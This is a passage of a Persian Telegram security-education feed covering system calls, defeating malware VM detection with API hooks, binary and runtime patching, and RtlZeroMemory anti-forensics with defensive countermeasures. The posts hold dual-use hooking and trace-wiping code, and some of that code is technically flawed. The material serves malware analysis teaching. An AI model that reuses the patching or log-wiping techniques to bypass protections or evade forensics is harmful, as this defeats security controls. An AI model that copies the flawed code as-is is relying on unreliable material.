از chatGPT بهینه استفاده کنیم
مثال : سوال
As a forensic expert , Explain system call
جواب :
A system call is an essential mechanism that allows user-level processes to request services from the operating system's kernel. These services can include tasks like accessing hardware, managing files, allocating memory, or creating and managing processes. Here’s a detailed breakdown of system calls from a forensic expert's perspective:
### Basic Concept
1. Definition: A system call is a controlled entry point that allows a program to request a service from the operating system's kernel.
2. Purpose: It provides an interface between user-space applications and the kernel, enabling them to perform operations that require higher privileges.
### Categories of System Calls
System calls can be broadly categorized based on their functionality:
1. Process Control: Creating and managing processes (e.g.,
2. File Management: Handling files and directories (e.g.,
3. Device Management: Interacting with hardware devices (e.g.,
4. Information Maintenance: Gathering and setting system information (e.g.,
5. Communication: Facilitating inter-process communication (e.g.,
### System Call Lifecycle
1. Invocation: A system call is typically invoked by a user-level process through a library function (e.g., the C standard library).
2. Transition to Kernel Mode: The CPU switches from user mode to kernel mode to execute the system call. This transition is often triggered by a software interrupt or trap.
3. Kernel Execution: The kernel executes the requested service using its internal resources and privileged instructions.
4. Return to User Mode: The results of the system call are returned to the user process, and the CPU switches back to user mode.
### Forensic Relevance
From a forensic perspective, understanding system calls is crucial for several reasons:
1. Activity Monitoring: System calls provide insights into what a process is doing. By monitoring system calls, forensic experts can track file access, process creation, and other critical activities.
2. Malware Analysis: Malicious software often relies on system calls to perform its actions. By analyzing the sequence of system calls, experts can understand the behavior of malware.
3. Incident Response: During an incident, system call logs can help reconstruct the events leading up to the security breach.
4. Digital Evidence: System call traces can serve as digital evidence in investigations, revealing unauthorized access or data manipulation.
### Tools and Techniques
1. Strace: A widely used tool in Unix-like systems to trace system calls made by a process.
2. Auditd: The Linux Auditing System, which can log system calls for security monitoring and compliance purposes.
3. Sysmon: A Windows system service that logs system calls and other system events for detailed monitoring.
### Example
Here’s a simple example of how a system call works:
In this C program:
- The
- The
By understanding and analyzing such system calls, forensic experts can gain insights into the actions performed by processes on a system.
#آکادمی_روزبه
مثال : سوال
As a forensic expert , Explain system call
جواب :
A system call is an essential mechanism that allows user-level processes to request services from the operating system's kernel. These services can include tasks like accessing hardware, managing files, allocating memory, or creating and managing processes. Here’s a detailed breakdown of system calls from a forensic expert's perspective:
### Basic Concept
1. Definition: A system call is a controlled entry point that allows a program to request a service from the operating system's kernel.
2. Purpose: It provides an interface between user-space applications and the kernel, enabling them to perform operations that require higher privileges.
### Categories of System Calls
System calls can be broadly categorized based on their functionality:
1. Process Control: Creating and managing processes (e.g.,
fork(), exec(), wait(), exit()).2. File Management: Handling files and directories (e.g.,
open(), read(), write(), close(), unlink()).3. Device Management: Interacting with hardware devices (e.g.,
ioctl(), read(), write()).4. Information Maintenance: Gathering and setting system information (e.g.,
getpid(), alarm(), sleep()).5. Communication: Facilitating inter-process communication (e.g.,
pipe(), shmget(), msgsnd(), recv()).### System Call Lifecycle
1. Invocation: A system call is typically invoked by a user-level process through a library function (e.g., the C standard library).
2. Transition to Kernel Mode: The CPU switches from user mode to kernel mode to execute the system call. This transition is often triggered by a software interrupt or trap.
3. Kernel Execution: The kernel executes the requested service using its internal resources and privileged instructions.
4. Return to User Mode: The results of the system call are returned to the user process, and the CPU switches back to user mode.
### Forensic Relevance
From a forensic perspective, understanding system calls is crucial for several reasons:
1. Activity Monitoring: System calls provide insights into what a process is doing. By monitoring system calls, forensic experts can track file access, process creation, and other critical activities.
2. Malware Analysis: Malicious software often relies on system calls to perform its actions. By analyzing the sequence of system calls, experts can understand the behavior of malware.
3. Incident Response: During an incident, system call logs can help reconstruct the events leading up to the security breach.
4. Digital Evidence: System call traces can serve as digital evidence in investigations, revealing unauthorized access or data manipulation.
### Tools and Techniques
1. Strace: A widely used tool in Unix-like systems to trace system calls made by a process.
2. Auditd: The Linux Auditing System, which can log system calls for security monitoring and compliance purposes.
3. Sysmon: A Windows system service that logs system calls and other system events for detailed monitoring.
### Example
Here’s a simple example of how a system call works:
#include <unistd.h>
#include <stdio.h>
int main() {
char buffer[128];
int bytesRead;
// System call: read from standard input (file descriptor 0)
bytesRead = read(0, buffer, 128);
// System call: write to standard output (file descriptor 1)
write(1, buffer, bytesRead);
return 0;
}
In this C program:
- The
read() system call reads data from the standard input.- The
write() system call writes data to the standard output.By understanding and analyzing such system calls, forensic experts can gain insights into the actions performed by processes on a system.
#آکادمی_روزبه
جلوگیری از شناسایی VM هنگام تحلیل بدافزار
✍️روزبه نوروزی
بدافزار ها را معمولا در یک vm اجرا میکنیم تا رفتار آنرا ببینیم. بدافزارها هم تلاش دارند محیط vm را شناسایی کنند و اقدامات لازم را انجام دهند.
حال ما چه میکنیم ؟
🔆بطور خلاصه یکسری ایده :
✔️استفاده از دیباگر (x64dbg) و تغییر مقدار APIها در حافظه.
✔️ویرایش رجیستری برای حذف نامهای مربوط به VMware و VirtualBox.
✔️انجام Hook کردن APIها در سطح کد (DLL Injection) برای تغییر مقدار برگشتی.
✔️استفاده از ابزارهای آماده مثل ScyllaHide برای مخفی کردن محیط مجازی.
🔴شرح موضوع
برای جلوگیری از شناسایی محیط مجازی، میتوانیم APIهایی که بدافزار برای تشخیص VM استفاده میکند را Patch کنیم یا مقادیر جعلی برگردانیم. این کار را میتوان از طریق Hook کردن APIها، ویرایش کد اسمبلی، یا استفاده از ابزارهای آماده انجام داد.
روش ۱: Hook کردن APIها در دیباگر (x64dbg / OllyDbg)
مثال: Patch کردن NtQuerySystemInformation
یکی از رایجترین روشهای تشخیص VM، استفاده از NtQuerySystemInformation است. این API مقدار SystemFirmwareTableInformation یا SystemManufacturer را بررسی میکند. اگر مقادیر مربوط به VMware یا VirtualBox باشند، بدافزار متوجه محیط مجازی خواهد شد.
مراحل Patch کردن در دیباگر (x64dbg)
بدافزار را در x64dbg اجرا کنید.
به منوی Symbols بروید و ntdll.dll را انتخاب کنید.
تابع NtQuerySystemInformation را پیدا کنید.
روی آن Breakpoint (BP) بگذارید تا ببینید چه مقدار برمیگرداند.
مقدار برگشتی را با مقدار یک سیستم فیزیکی جایگزین کنید. (مثلاً "DELL" یا "HP" برای سازندهی سیستم)
در اسمبلی، مقدار EAX را به عدد 0 تغییر دهید (که یعنی تابع موفق اجرا شده ولی مقدار VM را برنمیگرداند).
mov eax, 0
ret
روش ۲: تغییر مقادیر رجیستری برای جلوگیری از تشخیص VM
اگر بدافزار مستقیماً از رجیستری ویندوز مقدار را میخواند، میتوانیم آن را تغییر دهیم. برخی کلیدهای مهم:
ویرایش مقدار SystemBiosVersion در رجیستری
regedit را باز کنید.
به مسیر زیر بروید:
HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System
مقدار SystemBiosVersion را تغییر دهید و مثلاً "DELL BIOS" را جایگزین کنید.
حذف اطلاعات مربوط به VMware از رجیستری
به مسیرهای زیر بروید و مقدار آنها را پاک کنید:
HKEY_LOCAL_MACHINE\SOFTWARE\VMware, Inc.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VBoxGuest
روش ۳: Hook کردن APIها در سطح کد (با DLL Injection)
✴️میتوان با نوشتن یک DLL و تزریق آن در پروسهی بدافزار، مقدار خروجی API را تغییر داد.
مثال: Hook کردن CPUID برای جلوگیری از شناسایی VMware
۱. کد C++ برای تغییر خروجی CPUID
#include <windows.h>
#include <detours.h>
#include <intrin.h>
typedef void (WINAPI* CPUID_t)(int[4], int);
CPUID_t Real_CPUID = (CPUID_t)__cpuid;
void WINAPI Fake_CPUID(int CPUInfo[4], int InfoType) {
Real_CPUID(CPUInfo, InfoType);
if (InfoType == 0) {
// تغییر مقدار برگشتی برای جلوگیری از شناسایی VM
CPUInfo[1] = 'Genu'; // تغییر به پردازنده Intel
CPUInfo[2] = 'ineI';
CPUInfo[3] = 'ntel';
}
}
void HookAPI() {
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)Real_CPUID, Fake_CPUID);
DetourTransactionCommit();
}
۲. کامپایل کد و تزریق آن در بدافزار
این کد مقدار CPUID را تغییر میدهد تا سیستم بهعنوان Intel واقعی شناسایی شود و نه ماشین مجازی.
برای اجرای آن، باید از DLL Injection استفاده کنید.
روش ۴: استفاده از ابزارهای آماده برای مخفی کردن VM
ScyllaHide (برای دور زدن Anti-Debug و VM Detection)
این ScyllaHide یک پلاگین برای x64dbg است که بهصورت خودکار مقدار APIها را تغییر میدهد تا سیستم، فیزیکی به نظر برسد.
مراحل استفاده از ScyllaHide
پلاگین ScyllaHide را در x64dbg نصب کنید.
به مسیر Plugins > ScyllaHide بروید.
گزینههای VM Detection Bypass و Anti-Debug Protection را فعال کنید.
اجرای بدافزار را تست کنید تا ببینید آیا همچنان محیط را به عنوان VM تشخیص میدهد یا نه.
#آکادمی_روزبه
#من_آموزش_میدهم
🟣 برای پیوستن به گروه مطالعه کتاب Evasive Malware در نوروز ۱۴۰۴ به لینک زیر مراجعه کنید
https://t.me/roozbeh_learning/15130
✍️روزبه نوروزی
بدافزار ها را معمولا در یک vm اجرا میکنیم تا رفتار آنرا ببینیم. بدافزارها هم تلاش دارند محیط vm را شناسایی کنند و اقدامات لازم را انجام دهند.
حال ما چه میکنیم ؟
🔆بطور خلاصه یکسری ایده :
✔️استفاده از دیباگر (x64dbg) و تغییر مقدار APIها در حافظه.
✔️ویرایش رجیستری برای حذف نامهای مربوط به VMware و VirtualBox.
✔️انجام Hook کردن APIها در سطح کد (DLL Injection) برای تغییر مقدار برگشتی.
✔️استفاده از ابزارهای آماده مثل ScyllaHide برای مخفی کردن محیط مجازی.
🔴شرح موضوع
برای جلوگیری از شناسایی محیط مجازی، میتوانیم APIهایی که بدافزار برای تشخیص VM استفاده میکند را Patch کنیم یا مقادیر جعلی برگردانیم. این کار را میتوان از طریق Hook کردن APIها، ویرایش کد اسمبلی، یا استفاده از ابزارهای آماده انجام داد.
روش ۱: Hook کردن APIها در دیباگر (x64dbg / OllyDbg)
مثال: Patch کردن NtQuerySystemInformation
یکی از رایجترین روشهای تشخیص VM، استفاده از NtQuerySystemInformation است. این API مقدار SystemFirmwareTableInformation یا SystemManufacturer را بررسی میکند. اگر مقادیر مربوط به VMware یا VirtualBox باشند، بدافزار متوجه محیط مجازی خواهد شد.
مراحل Patch کردن در دیباگر (x64dbg)
بدافزار را در x64dbg اجرا کنید.
به منوی Symbols بروید و ntdll.dll را انتخاب کنید.
تابع NtQuerySystemInformation را پیدا کنید.
روی آن Breakpoint (BP) بگذارید تا ببینید چه مقدار برمیگرداند.
مقدار برگشتی را با مقدار یک سیستم فیزیکی جایگزین کنید. (مثلاً "DELL" یا "HP" برای سازندهی سیستم)
در اسمبلی، مقدار EAX را به عدد 0 تغییر دهید (که یعنی تابع موفق اجرا شده ولی مقدار VM را برنمیگرداند).
mov eax, 0
ret
روش ۲: تغییر مقادیر رجیستری برای جلوگیری از تشخیص VM
اگر بدافزار مستقیماً از رجیستری ویندوز مقدار را میخواند، میتوانیم آن را تغییر دهیم. برخی کلیدهای مهم:
ویرایش مقدار SystemBiosVersion در رجیستری
regedit را باز کنید.
به مسیر زیر بروید:
HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System
مقدار SystemBiosVersion را تغییر دهید و مثلاً "DELL BIOS" را جایگزین کنید.
حذف اطلاعات مربوط به VMware از رجیستری
به مسیرهای زیر بروید و مقدار آنها را پاک کنید:
HKEY_LOCAL_MACHINE\SOFTWARE\VMware, Inc.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VBoxGuest
روش ۳: Hook کردن APIها در سطح کد (با DLL Injection)
✴️میتوان با نوشتن یک DLL و تزریق آن در پروسهی بدافزار، مقدار خروجی API را تغییر داد.
مثال: Hook کردن CPUID برای جلوگیری از شناسایی VMware
۱. کد C++ برای تغییر خروجی CPUID
#include <windows.h>
#include <detours.h>
#include <intrin.h>
typedef void (WINAPI* CPUID_t)(int[4], int);
CPUID_t Real_CPUID = (CPUID_t)__cpuid;
void WINAPI Fake_CPUID(int CPUInfo[4], int InfoType) {
Real_CPUID(CPUInfo, InfoType);
if (InfoType == 0) {
// تغییر مقدار برگشتی برای جلوگیری از شناسایی VM
CPUInfo[1] = 'Genu'; // تغییر به پردازنده Intel
CPUInfo[2] = 'ineI';
CPUInfo[3] = 'ntel';
}
}
void HookAPI() {
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)Real_CPUID, Fake_CPUID);
DetourTransactionCommit();
}
۲. کامپایل کد و تزریق آن در بدافزار
این کد مقدار CPUID را تغییر میدهد تا سیستم بهعنوان Intel واقعی شناسایی شود و نه ماشین مجازی.
برای اجرای آن، باید از DLL Injection استفاده کنید.
روش ۴: استفاده از ابزارهای آماده برای مخفی کردن VM
ScyllaHide (برای دور زدن Anti-Debug و VM Detection)
این ScyllaHide یک پلاگین برای x64dbg است که بهصورت خودکار مقدار APIها را تغییر میدهد تا سیستم، فیزیکی به نظر برسد.
مراحل استفاده از ScyllaHide
پلاگین ScyllaHide را در x64dbg نصب کنید.
به مسیر Plugins > ScyllaHide بروید.
گزینههای VM Detection Bypass و Anti-Debug Protection را فعال کنید.
اجرای بدافزار را تست کنید تا ببینید آیا همچنان محیط را به عنوان VM تشخیص میدهد یا نه.
#آکادمی_روزبه
#من_آموزش_میدهم
🟣 برای پیوستن به گروه مطالعه کتاب Evasive Malware در نوروز ۱۴۰۴ به لینک زیر مراجعه کنید
https://t.me/roozbeh_learning/15130
Telegram
آکادمی آموزش روزبه 📚
نوروز فرصت خوبی برای بهتر شدن و ارتقای شخصی هست.
بهتره برای اون زمان کتاب، ویدئو ها و کلاسها رو برنامه ریزی کنید.
من خودم قصد دارم کتاب زیر رو شروع کنم تا خرده خوانده ها که تا حالا داشته ام و تجربه ای که در این حوزه اندوخته ام در یک جا از پایه تجمیع بشن…
بهتره برای اون زمان کتاب، ویدئو ها و کلاسها رو برنامه ریزی کنید.
من خودم قصد دارم کتاب زیر رو شروع کنم تا خرده خوانده ها که تا حالا داشته ام و تجربه ای که در این حوزه اندوخته ام در یک جا از پایه تجمیع بشن…
👏6👍2❤1
تکنیک Patch کردن API یعنی چی و چطور انجام میشود؟
✍️روزبه نوروزی
تکنیکPatch کردن API ؛ یعنی تغییر رفتار یک تابع در حافظه یا کد اجرایی بهطوری که هنگام اجرای برنامه، تابع مقدار متفاوتی برگرداند یا اصلاً اجرا نشود.
این تکنیک در مهندسی معکوس، تحلیل بدافزار، و دور زدن محدودیتهای نرمافزاری استفاده میشود.
روشهای مختلف Patch کردن API
برای Patch کردن API میتوان از چندین روش مختلف استفاده کرد:
ویرایش باینری (Binary Patching) در فایل اجرایی
تکنیک Patch کردن در حافظه (Runtime Patching) با دیباگر
انجام Hook کردن API با DLL Injection یا Inline Hooking
۱. ویرایش باینری (Binary Patching) در فایل اجرایی
در این روش، مستقیماً فایل اجرایی (EXE / DLL) را ویرایش میکنیم و کد تابع را تغییر میدهیم.
مثال: حذف یک شرط در Assembly
فرض کنید یک برنامه این شرط را دارد:
cmp eax, 1 ;
مقدار EAX را با 1 مقایسه میکند
jne Exit ;
اگر برابر نبود، به Exit میرود
اگر بخواهیم این شرط را حذف کنیم تا برنامه همیشه مقدار موردنظر ما را بپذیرد، میتوانیم این دو دستور را NOP (No Operation) کنیم:
nop ; هیچ عملی انجام نده
nop ; هیچ عملی انجام نده
ابزارهای مورد نیاز برای این روش
Hiew → برای ویرایش فایلهای باینری
IDA Pro / Ghidra → برای مشاهده و تغییر کد اسمبلی
x64dbg / OllyDbg → برای دیباگ و Patch کردن در حافظه
۲. انجامPatch کردن در حافظه (Runtime Patching) با دیباگر
در این روش، برنامه را اجرا میکنیم و در لحظه (runtime) کد آن را تغییر میدهیم.
مثال: Patch کردن NtQuerySystemInformation در x64dbg
فرض کنید یک بدافزار از این API استفاده میکند تا ببیند سیستم داخل VM است یا نه:
call NtQuerySystemInformation
cmp eax, 0x1 ;
اگر مقدار برگشتی ۱ باشد، یعنی سیستم مجازی است
je Exit ;
اگر مقدار ۱ بود، خروج
مراحل انجام کار در x64dbg:
برنامه را در x64dbg اجرا کنید.
به تابع NtQuerySystemInformation بروید.
روی دستور cmp eax, 0x1 Breakpoint بگذارید.
مقدار eax را به ۰ تغییر دهید تا برنامه فکر کند در سیستم واقعی اجرا میشود.
mov eax, 0
اجرای برنامه را ادامه دهید.
🔹 نتیجه: بدافزار نمیتواند تشخیص دهد که در VM اجرا شده است!
۳. انجام Hook کردن API با DLL Injection یا Inline Hooking
در این روش، یک DLL جدید مینویسیم و آن را به برنامه تزریق میکنیم تا رفتار یک API را تغییر دهد.
مثال: Hook کردن NtQuerySystemInformation با DLL Injection
کد زیر باعث میشود که مقدار برگشتی NtQuerySystemInformation همیشه مقدار جعلی (مثلاً ۰) باشد، بنابراین بدافزار فکر میکند در یک سیستم واقعی اجرا شده است.
#include <windows.h>
#include <detours.h>
#include <winternl.h>
typedef NTSTATUS (WINAPI* NtQuerySystemInformation_t)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG);
NtQuerySystemInformation_t OriginalNtQuerySystemInformation;
NTSTATUS WINAPI HookedNtQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength) {
if (SystemInformationClass == SystemManufacturer) {
strcpy((char*)SystemInformation, "DELL");
مقدار جعلی برای سیستم فیزیکی
return 0;
}
return OriginalNtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
}
void HookAPI() {
OriginalNtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)OriginalNtQuerySystemInformation, HookedNtQuerySystemInformation);
DetourTransactionCommit();
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
HookAPI();
}
return TRUE;
}
مراحل اجرای Hook
این کد را کامپایل کنید و یک DLL بسازید.
این DLL را به بدافزار Inject کنید (مثلاً با Process Hacker یا DLL Injector).
حالا API NtQuerySystemInformation مقدار دلخواه شما را برمیگرداند.
#آکادمی_روزبه
#من_آموزش_میدهم
✍️روزبه نوروزی
تکنیکPatch کردن API ؛ یعنی تغییر رفتار یک تابع در حافظه یا کد اجرایی بهطوری که هنگام اجرای برنامه، تابع مقدار متفاوتی برگرداند یا اصلاً اجرا نشود.
این تکنیک در مهندسی معکوس، تحلیل بدافزار، و دور زدن محدودیتهای نرمافزاری استفاده میشود.
روشهای مختلف Patch کردن API
برای Patch کردن API میتوان از چندین روش مختلف استفاده کرد:
ویرایش باینری (Binary Patching) در فایل اجرایی
تکنیک Patch کردن در حافظه (Runtime Patching) با دیباگر
انجام Hook کردن API با DLL Injection یا Inline Hooking
۱. ویرایش باینری (Binary Patching) در فایل اجرایی
در این روش، مستقیماً فایل اجرایی (EXE / DLL) را ویرایش میکنیم و کد تابع را تغییر میدهیم.
مثال: حذف یک شرط در Assembly
فرض کنید یک برنامه این شرط را دارد:
cmp eax, 1 ;
مقدار EAX را با 1 مقایسه میکند
jne Exit ;
اگر برابر نبود، به Exit میرود
اگر بخواهیم این شرط را حذف کنیم تا برنامه همیشه مقدار موردنظر ما را بپذیرد، میتوانیم این دو دستور را NOP (No Operation) کنیم:
nop ; هیچ عملی انجام نده
nop ; هیچ عملی انجام نده
ابزارهای مورد نیاز برای این روش
Hiew → برای ویرایش فایلهای باینری
IDA Pro / Ghidra → برای مشاهده و تغییر کد اسمبلی
x64dbg / OllyDbg → برای دیباگ و Patch کردن در حافظه
۲. انجامPatch کردن در حافظه (Runtime Patching) با دیباگر
در این روش، برنامه را اجرا میکنیم و در لحظه (runtime) کد آن را تغییر میدهیم.
مثال: Patch کردن NtQuerySystemInformation در x64dbg
فرض کنید یک بدافزار از این API استفاده میکند تا ببیند سیستم داخل VM است یا نه:
call NtQuerySystemInformation
cmp eax, 0x1 ;
اگر مقدار برگشتی ۱ باشد، یعنی سیستم مجازی است
je Exit ;
اگر مقدار ۱ بود، خروج
مراحل انجام کار در x64dbg:
برنامه را در x64dbg اجرا کنید.
به تابع NtQuerySystemInformation بروید.
روی دستور cmp eax, 0x1 Breakpoint بگذارید.
مقدار eax را به ۰ تغییر دهید تا برنامه فکر کند در سیستم واقعی اجرا میشود.
mov eax, 0
اجرای برنامه را ادامه دهید.
🔹 نتیجه: بدافزار نمیتواند تشخیص دهد که در VM اجرا شده است!
۳. انجام Hook کردن API با DLL Injection یا Inline Hooking
در این روش، یک DLL جدید مینویسیم و آن را به برنامه تزریق میکنیم تا رفتار یک API را تغییر دهد.
مثال: Hook کردن NtQuerySystemInformation با DLL Injection
کد زیر باعث میشود که مقدار برگشتی NtQuerySystemInformation همیشه مقدار جعلی (مثلاً ۰) باشد، بنابراین بدافزار فکر میکند در یک سیستم واقعی اجرا شده است.
#include <windows.h>
#include <detours.h>
#include <winternl.h>
typedef NTSTATUS (WINAPI* NtQuerySystemInformation_t)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG);
NtQuerySystemInformation_t OriginalNtQuerySystemInformation;
NTSTATUS WINAPI HookedNtQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength) {
if (SystemInformationClass == SystemManufacturer) {
strcpy((char*)SystemInformation, "DELL");
مقدار جعلی برای سیستم فیزیکی
return 0;
}
return OriginalNtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
}
void HookAPI() {
OriginalNtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)OriginalNtQuerySystemInformation, HookedNtQuerySystemInformation);
DetourTransactionCommit();
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
HookAPI();
}
return TRUE;
}
مراحل اجرای Hook
این کد را کامپایل کنید و یک DLL بسازید.
این DLL را به بدافزار Inject کنید (مثلاً با Process Hacker یا DLL Injector).
حالا API NtQuerySystemInformation مقدار دلخواه شما را برمیگرداند.
#آکادمی_روزبه
#من_آموزش_میدهم
👏3❤1👍1
🔴پاک کردن رد پا +🟢 راهکار
✍️روزبه نوروزی
هکر به روشهای مختلفی اقدام به پاک کردن ردپا میکند. اما هکرهای خلاق مواظب ردپای خود در حافظه هم هستند پس میروند دنبال اینکه اونو پاک کنند .
تابع RtlZeroMemory در ویندوز، یک تابع از NTDLL.DLL است که مسئول پاک کردن محتویات یک بخش از حافظه میباشد. هکرها از این تابع برای پاک کردن ردپاهای خود در حافظه استفاده میکنند تا تحلیلگران امنیتی یا ابزارهای فارنزیک نتوانند شواهدی از اجرای بدافزار را پیدا کنند.
🚨 روشهای استفاده از RtlZeroMemory برای پاک کردن ردپا
1️⃣ پاک کردن شواهد پردازش (Process Hollowing / Code Injection)
🔹 هکرها در حملات Process Hollowing یا DLL Injection، بعد از اجرای کد مخرب، از RtlZeroMemory برای پاک کردن بخشهای حساس حافظه استفاده میکنند.
🔹 این روش باعث میشود ابزارهای Memory Dump نتوانند دادههای مربوط به اجرای بدافزار را بازیابی کنند.
📌 مثال کد مخرب:
#include <windows.h>
#include <winternl.h>
void EraseMemory(void* address, SIZE_T size) {
RtlZeroMemory(address, size);
}
int main() {
char secretData[] = "Malicious Code Here!";
printf("Before Erasing: %s\n", secretData);
EraseMemory(secretData, sizeof(secretData));
printf("After Erasing: %s\n", secretData); // اطلاعات پاک شده است
return 0;
}
2️⃣ حذف لاگهای امنیتی در حافظه
🔹 برخی بدافزارها لاگهای ذخیرهشده در حافظه (مثل ETW - Event Tracing for Windows) را شناسایی و پاک میکنند.
🔹 برای این کار، قبل از خاتمه اجرا، مقدار حافظه مرتبط با لاگها را با RtlZeroMemory پاک میکنند.
📌 مثال پاک کردن ساختار لاگها در حافظه:
#include <windows.h>
#include <evntprov.h>
void ClearETWLogs(PEVENT_TRACE_LOGFILE logFile) {
RtlZeroMemory(logFile, sizeof(EVENT_TRACE_LOGFILE));
}
3️⃣ پنهانسازی کلیدهای رمزگذاری شده در حافظه
🔹 بدافزارها اطلاعاتی مثل کلیدهای رمزنگاری یا توکنهای احراز هویت را در حافظه ذخیره میکنند.
🔹 برای جلوگیری از بازیابی این دادهها با ابزارهای Memory Forensics، بعد از استفاده، مقدارشان را با RtlZeroMemory پاک میکنند.
📌 مثال حذف کلید رمزگذاری از حافظه:
void SecureDelete(char* key, size_t length) {
RtlZeroMemory(key, length);
}
🔰 روشهای مقابله با RtlZeroMemory در تحلیل امنیتی
✅ 1. استفاده از Memory Dump قبل از پاک شدن حافظه
🔹 ابزارهایی مثل WinDbg, Volatility و Rekall میتوانند قبل از حذف حافظه، آن را تحلیل کنند.
🔹 راهکار: اجرای Volatility برای بررسی پردازشهای Hollowed یا Injecte
✅ 2. استفاده از SIEM برای لاگبرداری از API Calls
🔹 ابزارهایی مثل Splunk, ELK به کمک Sysmon میتوانند فراخوانی توابع مشکوک را لاگ کنند.
🔹 راهکار: ایجاد یک قانون Sysmon برای شناسایی استفاده از RtlZeroMemory
✅ 3. جلوگیری از Process Injection با EDR/XDR
🔹 بسیاری از EDRها مانند CrowdStrike, SentinelOne, و Microsoft Defender قابلیت شناسایی پردازشهای مشکوک را دارند.
✅ 4. بررسی رفتارهای مشکوک در حافظه
🔹 میتوان از ابزارهای Memory Monitoring مثل MemProcFS یا KAPE برای بررسی تغییرات مشکوک در حافظه استفاده کرد.
🔹 راهکار: مانیتورینگ تغییرات رجیستری و حافظه برای شناسایی پاک شدن دادهها.
#من_آموزش_میدهم
#آکادمی_روزبه
✍️روزبه نوروزی
هکر به روشهای مختلفی اقدام به پاک کردن ردپا میکند. اما هکرهای خلاق مواظب ردپای خود در حافظه هم هستند پس میروند دنبال اینکه اونو پاک کنند .
تابع RtlZeroMemory در ویندوز، یک تابع از NTDLL.DLL است که مسئول پاک کردن محتویات یک بخش از حافظه میباشد. هکرها از این تابع برای پاک کردن ردپاهای خود در حافظه استفاده میکنند تا تحلیلگران امنیتی یا ابزارهای فارنزیک نتوانند شواهدی از اجرای بدافزار را پیدا کنند.
🚨 روشهای استفاده از RtlZeroMemory برای پاک کردن ردپا
1️⃣ پاک کردن شواهد پردازش (Process Hollowing / Code Injection)
🔹 هکرها در حملات Process Hollowing یا DLL Injection، بعد از اجرای کد مخرب، از RtlZeroMemory برای پاک کردن بخشهای حساس حافظه استفاده میکنند.
🔹 این روش باعث میشود ابزارهای Memory Dump نتوانند دادههای مربوط به اجرای بدافزار را بازیابی کنند.
📌 مثال کد مخرب:
#include <windows.h>
#include <winternl.h>
void EraseMemory(void* address, SIZE_T size) {
RtlZeroMemory(address, size);
}
int main() {
char secretData[] = "Malicious Code Here!";
printf("Before Erasing: %s\n", secretData);
EraseMemory(secretData, sizeof(secretData));
printf("After Erasing: %s\n", secretData); // اطلاعات پاک شده است
return 0;
}
2️⃣ حذف لاگهای امنیتی در حافظه
🔹 برخی بدافزارها لاگهای ذخیرهشده در حافظه (مثل ETW - Event Tracing for Windows) را شناسایی و پاک میکنند.
🔹 برای این کار، قبل از خاتمه اجرا، مقدار حافظه مرتبط با لاگها را با RtlZeroMemory پاک میکنند.
📌 مثال پاک کردن ساختار لاگها در حافظه:
#include <windows.h>
#include <evntprov.h>
void ClearETWLogs(PEVENT_TRACE_LOGFILE logFile) {
RtlZeroMemory(logFile, sizeof(EVENT_TRACE_LOGFILE));
}
3️⃣ پنهانسازی کلیدهای رمزگذاری شده در حافظه
🔹 بدافزارها اطلاعاتی مثل کلیدهای رمزنگاری یا توکنهای احراز هویت را در حافظه ذخیره میکنند.
🔹 برای جلوگیری از بازیابی این دادهها با ابزارهای Memory Forensics، بعد از استفاده، مقدارشان را با RtlZeroMemory پاک میکنند.
📌 مثال حذف کلید رمزگذاری از حافظه:
void SecureDelete(char* key, size_t length) {
RtlZeroMemory(key, length);
}
🔰 روشهای مقابله با RtlZeroMemory در تحلیل امنیتی
✅ 1. استفاده از Memory Dump قبل از پاک شدن حافظه
🔹 ابزارهایی مثل WinDbg, Volatility و Rekall میتوانند قبل از حذف حافظه، آن را تحلیل کنند.
🔹 راهکار: اجرای Volatility برای بررسی پردازشهای Hollowed یا Injecte
✅ 2. استفاده از SIEM برای لاگبرداری از API Calls
🔹 ابزارهایی مثل Splunk, ELK به کمک Sysmon میتوانند فراخوانی توابع مشکوک را لاگ کنند.
🔹 راهکار: ایجاد یک قانون Sysmon برای شناسایی استفاده از RtlZeroMemory
✅ 3. جلوگیری از Process Injection با EDR/XDR
🔹 بسیاری از EDRها مانند CrowdStrike, SentinelOne, و Microsoft Defender قابلیت شناسایی پردازشهای مشکوک را دارند.
✅ 4. بررسی رفتارهای مشکوک در حافظه
🔹 میتوان از ابزارهای Memory Monitoring مثل MemProcFS یا KAPE برای بررسی تغییرات مشکوک در حافظه استفاده کرد.
🔹 راهکار: مانیتورینگ تغییرات رجیستری و حافظه برای شناسایی پاک شدن دادهها.
#من_آموزش_میدهم
#آکادمی_روزبه
👍5
حملات علیه لاگگیری ETW (Event Tracing for Windows) در ویندوز
✍️روزبه نوروزی
اینETW یک مکانیزم لاگگیری کارآمد در ویندوز است که اطلاعات مفیدی درباره پردازشها، API Calls، و رفتارهای شبکهای ارائه میدهد. مهاجمان برای دور زدن ETW از تکنیکهای مختلفی استفاده میکنند که در ادامه بررسی میکنیم.
